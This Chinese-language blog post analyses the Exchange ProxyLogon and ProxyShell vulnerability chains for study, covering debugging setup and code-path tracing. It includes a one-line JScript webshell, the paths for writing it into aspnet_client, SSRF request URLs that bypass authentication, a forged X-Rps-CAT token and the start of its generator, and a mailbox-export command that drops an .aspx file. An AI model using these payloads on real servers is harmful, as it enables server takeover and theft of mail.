这篇文章发表于 534 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
ProxyLogon和ProxyShell是很经典的老洞了,最近稍微空了一点,所以来简单学习下,文章写得可能也比较潦草,就这样吧,累了QAQ
环境搭建
含漏洞的Exchange环境搭建可以参考这篇文章。这里不再赘述。但要提两点:
win server 2016无法上网可能原因在于DNS的配置。
在该镜像中可能无法直接安装python,解决该问题也许需要参考下这个文章的方法修改注册表。
调试
首先使用C:\Windows\System32\inetsrv\appcmd list wp
这个命令对当前的所有Exchange进程进行查看。
接着因为要调试的dll文件是FrontEndHttpProxy.dll
,如果你不做下一步工作直接去调试的话就会发现很多变量由于优化和一些原因而无法正常显示出来。因此还需要添加一个配置文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.ini
:
1 | [.NET Framework Debugging Control] |
修改后建议直接重启机器。我直接重启了Exchange服务似乎并没有什么用 = =(参考这篇文章直接重启相关的Exchange服务),记录下吧,我使用如下命令。
1 | $services = Get-Service | ? { $_.name -like "MSExchange*" -and $_.Status -eq "Running"};foreach ($service in $services) {Restart-Service $service.name -Force} |
另外,由于那个exchange用到的是dotnet4.x,所以这里需要用到相对应大版本的dotnet编译出来的dnSpy,否则好像会出问题?
于是接下来可以在dnSpy中,点击调试->附加到进程->选中进程->附加,附加到对应的w3wp.exe
进程。使用dnSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll
。之后就可以下断点进行调试了。
ProxyLogon 利用
ProxyLogon漏洞其实并非是一个简单漏洞完成的RCE,而是分为两步:
利用CVE-2021-26855这个SSRF漏洞可以绕过Exchange的身份验证
结合前者所获取到的敏感信息,利用CVE-2021-27065文件写入漏洞可在未登录的状态下写小马文件
ProxyLogon利用工具网上多的是,这里来简要看看漏洞的逻辑及其利用方式。
CVE-2021-26855 SSRF漏洞
利用该漏洞,恶意用户可以在远程绕过安全验证向任意端口发送数据。applicationPool.MSExchangeECPAppPool
是本次漏洞的相关进程。
先明确一点,直接访问路径/autodiscover/autodiscover.xml
(该文件存在着敏感信息)我们得到的网页返回结果是“请求无效”。但该文件其实能够利用如下的漏洞访问到。
接着进行调试,建议找到Microsoft.Exchange.FrontEndHttpProxy
的BEResourceRequestHandler
类并打两个断点:
然后发送如下的包(cookie中的X-BEResource
可以通过访问/ecp
路径获取到):
1 | POST /ecp/iey8.js HTTP/2 |
BEResourceRequestHandler
是一个用于处理向后端进行资源型请求的类,如请求js,png,css文件等。它在函数SelectHandlerForUnauthenticatedRequest
中被引用,而要创建这个类的实例,首先需要函数BEResourceRequestHandler.CanHandle()
返回True。
分析CanHandle
函数,可以发现返回True需要以下两个条件:
- HTTP请求的Cookie中含有
X-BEResource
键; - 请求应是资源型请求,即请求的文件后缀应为规定的文件类型。
紧接着需要关注的就是在BackEndServer.FromString
函数中对名称X-BEResource
的cookie处理。
之后主要关注向后端转发的请求URL,这个调用堆栈相对难找,大概是有个队列,在处理完后端服务器的一些配置后才会进行这个URL的转发。
看以上这些代码可以知道,程序这里通过一些拼凑搞出了一个新的URL并成功发起请求,并且这里有个版本和Server.E15MinVersion
的比较相对重要,要大于它才能触发漏洞。最后调试到this.CreateServerRequest(uri);
,此函数内部还设置了请求头等等内容,到这一步为止就基本走完前端向后端发送请求的步骤。
Exchange这种前后端的结构非常有趣,难怪是个SSRF的洞但却能够绕过身份验证。
CVE-2021-27065 任意文件写入漏洞
在拥有Exchange管理员的权限时,可以编辑OAB配置中的外部URL来写马。
1 | http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script> |
接下来重置虚拟目录,输入木马保存的URL,比如\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\test.aspx
。
写入后访问https://localhost/aspnet_client/test.aspx?orange=
即可。
利用过程
这里简单描述下在具体环境中实现利用的过程:
通过SSRF获取FQDN
利用SSRF向autodiscover接口请求以获取LegacyDN
利用SSRF向
/mapi/emsmdb
接口请求以获取SID根据刚得到的SID获取管理员的cookie值
通过管理员的cookie值进行文件上传
ProxyShell 利用
ProxyShell链由三部分组成:
利用CVE-2021-34473这个SSRF漏洞可以绕过Exchange的身份验证并访问到后端的敏感信息
结合先前的SSRF漏洞,可以利用CVE-2021-34523提权漏洞向后端的
/powershell
端点发送Exchange Powershell命令并执行利用CVE-2021-31207任意文件写入漏洞写入木马文件,其允许攻击者导出邮件内容到指定的路径
CVE-2021-34473 SSRF漏洞
在ProxyLogon之后,Exchange加上了相应的安全补丁,也就无法利用AnchoredRoutingTarget
来进行SSRF,但能够绕过鉴权的点并不仅仅只有这个。很快有人发现了GetClientUrlForProxy()
这个函数。
对于调试而言,可以先在EwsAutodiscoverProxyRequestHandler
的ResolveAnchorMailbox
函数中添加断点
使用这个/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com
请求路径来对漏洞的存在性进行判断。
最后同样能够拼接出能泄露敏感信息的URL。进一步地,可以如该文章所述对邮箱用户进行枚举等。
CVE-2021-34523
Exchange PowerShell Remoting功能原生内置于Exchange中,旨在通过命令行协助管理活动。之前的漏洞允许攻击者以NT AUTHORITY/SYSTEM
的身份与任意后端 URL 进行交互,但是SYSTEM
身份没有邮箱,攻击者无法在该权限级别直接与PowerShell后端/Powershell
进行交互,必须降权才能访问该端点。
那么来看看该如何访问到这个端点,显然要通过这个SSRF漏洞向/powershell
端点进行请求,这里有两点比较关键:
如何请求?
请求的格式是什么样的?
对于第一个问题,PowerShell后端检查传入请求中的X-CommonAccessToken
标头。如果标头不存在,则使用另一种方法获取CommonAccessToken:该方法会检查传入请求中的X-Rps-CAT
参数,如果存在,则将其反序列化为有效的CommonAccessToken。使用先前收集的有关目标邮箱的信息或来自内置邮箱的默认信息,传递有效的X-Rps-CAT
值是轻轻松松的。
可以先发送下面这个包以进行简单调试(断点在文件C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll
->RemotePowershellBackendCmdletProxyModule
->OnAuthenticateRequest
函数内,记得加上对应的.ini
文件便于调试,附加进程为MSExchangePowerShellAppPool
):
1 | GET /autodiscover/autodiscover.json?a=test@nese.com/powershell/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZBZG1pbmlzdHJhdG9yQG5lc2UuY29tVStTLTEtNS0yMS0xMDUyMzAwMTYtMTg5NDgyMDI2OC0zNzUyNzkyOTItNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NEUAAAAA HTTP/1.1 |
其中的CommonAccessTokenFromUrl
函数就是用来取出X-Rps-CAT
参数内容的。
对于第二个问题,也就是X-Rps-CAT
参数的格式问题,请参考这篇文章(想调试的话断点在C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Net.dll
->CommonAccessToken
->Deserialize
函数中),X-Rps-CAT
参数可以通过如下的python代码直接生成:
1 | def gen_token(uname, sid): |
只要返回200就说明鉴权已经成功了。
接下来需要考虑的就是如何让端点执行powershell命令。
Exchange Powershell Remoting
因为Exchange Powershell Remoting无法在IP地址和localhost域名的情况下被使用,所以需要为Exchange服务器先搞一个证书,可以参考这篇文章实现。由于本地的那个证书其实就OK,所以可以没必要申请,但是域名就是固定的颁发者的名字,还得修改下hosts。
接着就可以用Powershell窗口尝试下:
1 | $User = "administrator" |
以上内容就是对Exchange Powershell Remoting的一些补充。
知道如何使用命令后就该思考如何与远程端点/powershell
交互通信。WSMan协议就可以做到这一点,这个也和格式什么的相关自己搞起来很耗时间,所以直接看这篇文章里面的实现就好了。
CVE-2021-31207 任意文件写入漏洞
该漏洞主要是利用New-MailboxExportRequest
命令实现的。该命令主要是为了导出邮箱中邮件,其使用格式为New-MailboxExportRequest -Mailbox <MailboxIdentity> -FilePath <FilePath>
。
可以先打开Exchange Management Shell
进行一下尝试,比如New-MailboxExportRequest -Mailbox "administrator@nese.com" -FilePath "\\127.0.0.1\c$\Users\Administrator\Desktop\administrator.aspx"
。我们能够顺利发现一个文件,这意味着可以写东西。如果邮件中存在着一句话木马,那么它并不会被编码:
若是想要导出含有限定条件的邮件,那么只要加上-ContentFilter {(body -like "payload Flag")}
选项(导出body中含有payload Flag
的邮件)即可。
貌似在公开的exp中很多都是将payload放在附件中的,这个可能会被编码。以下代码摘自这里。
1 | #!/usr/bin/python |
参考文献
MS Exchange的新攻击面,第1部分:ProxyLogon!
Exchange CVE-2021-26855 RCE漏洞复现 - SAUCERMAN
Exchange ProxyLogon漏洞分析 - nice_0e3 - 博客园
Exchange漏洞分析(一):SSRF RCE(CVE-2021-26855、CVE-2021-27065)-安全客 - 安全资讯平台
My Steps of Reproducing ProxyShell
[Timeline Sec]-2021-8-25-Exchange ProxyShell 远程代码执行漏洞复现
Exchange “ProxyLogon”系列漏洞分析 - HackMD
ProxyShell利用分析1——CVE-2021-34473
PST, Want a Shell? ProxyShell Exploiting Microsoft Exchange Servers